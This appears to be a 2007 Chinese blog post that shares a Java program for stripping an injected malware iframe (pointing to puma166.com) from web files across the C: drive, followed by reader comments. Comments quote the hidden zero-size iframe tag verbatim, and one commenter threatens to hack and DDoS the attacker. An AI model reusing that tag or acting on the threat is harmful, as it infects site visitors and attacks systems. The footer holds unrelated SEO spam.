lqxue

          常用鏈接

          統計

          book

          tools

          最新評論

          清除文件中含有指定特征字符串(例如puma166)的行。


          最近感染了一個病毒,也說不上是啥毒,反正所有的.html,.htm,.jsp文件一經被IE執行,它都會在文件的尾部加上一句類似這樣一句代碼“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;殺毒軟件是不能幫我把它從文件中刪除了,自己寫了一段程序來實現。

          import java.io.BufferedReader;
          import java.io.File;
          import java.io.FileReader;
          import java.io.FileWriter;

          public class Test {
              
          private static String feature = "puma166";// the special string which indicate that we will remove this line 
              private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
              
          public static void moveAntivus(String filename,String feature) throws Exception{
                  FileReader fr 
          = new FileReader(filename);
                  String tmpFileName 
          = filename+"_tmp";
                  BufferedReader br 
          = new BufferedReader(fr);
                  String line 
          = "";
                  FileWriter fw ;
                  
          while ((line=br.readLine()) != null) {
                      
          if(line.trim().indexOf(feature)<0){
                          fw 
          = new FileWriter(new File(tmpFileName),true);
                          fw.write(line
          +"\n");
                          fw.close();
                      }
                  }
                  fr.close();
                  File file 
          = new File(filename);
                  file.delete();
                  
          new File(tmpFileName).renameTo(new File(filename));
              }
              
          public static void scanFile(File file){
                 if(file.getName().indexOf(".")<0)
                      return;
                  
          try {
                      String ext 
          = file.getName().substring(file.getName().lastIndexOf("."));
                      
          if(filetypes.indexOf(ext)>0){
                          moveAntivus(file.getAbsolutePath(),feature);
                          System.out.println(file.getAbsolutePath());
                      }
                  } 
          catch (Exception e) {
                      e.printStackTrace();
                  }
              }
              
          public static void scanDir(File dir){
                      File[] files 
          = dir.listFiles();
                      
          for(int i=0;i<files.length;i++){
                          
          if(files[i].isDirectory()){
                              scanDir(files[i]);
                          }
          else{
                              scanFile(files[i]);
                          }
                      }
              }
              
          public static void main(String[] args){
                  Test.scanDir(
          new File("C:\\"));//掃描c盤;
              }
          }

          posted on 2007-05-25 10:31 lqx 閱讀(1233) 評論(6)  編輯  收藏

          評論

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

          我也中了這個病毒,請問你寫的這個程序應該放程序的什么地方?請回復到我的郵箱好嗎?我的郵箱是:cf244000@163.com.謝謝了,急用  回復  更多評論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

          這是一段java代碼,你在執行前在main方法里填上你要掃描的文件夾或磁盤
          如下:
          public static void main(String[] args){
          Test.scanDir(new File("C:\\"));//掃描c盤;
          Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;
          }

          編譯通過后,執行即可  回復  更多評論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

          謝謝了  回復  更多評論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼淚

          你好,還是我,我把這段代碼放在我要運行的mian.asp中,這樣可以嗎?將這句代碼“Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;”換成我網上文件所在的文件。然后將我的文件放到網上,這樣可以嗎?謝謝了
            回復  更多評論   

          #  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登錄] 2007-06-27 10:18 過客

          <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他嗎的這個東西太卑鄙了 竟然給老子掛網馬

          嗎的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


          誰告訴我他的真正網站 老子 給他黑了 DDOS他麻痹啊 草呀 你他娘  回復  更多評論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

          我以前是通過dreamweaver 來替換好把它清除了,自己硬盤上網頁太多,又散清楚起來特別的麻煩。今天看到樓主這樣編程殺毒的方法覺得挺不錯的。樓主怎么不把它做成軟件讓大家共享呢?

                  回復  更多評論   


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 绿春县| 扶风县| 通河县| 兴化市| 扎囊县| 即墨市| 鄂伦春自治旗| 沙洋县| 台中县| 荃湾区| 泉州市| 全椒县| 沁水县| 德令哈市| 英吉沙县| 海原县| 琼中| 信宜市| 青州市| 汪清县| 宝鸡市| 东丰县| 蒲城县| 衡阳县| 顺义区| 霞浦县| 闻喜县| 茶陵县| 定襄县| 新乡县| 蒙自县| 纳雍县| 无极县| 孟连| 商都县| 前郭尔| 乳源| 泽州县| 武邑县| 古交市| 灵台县|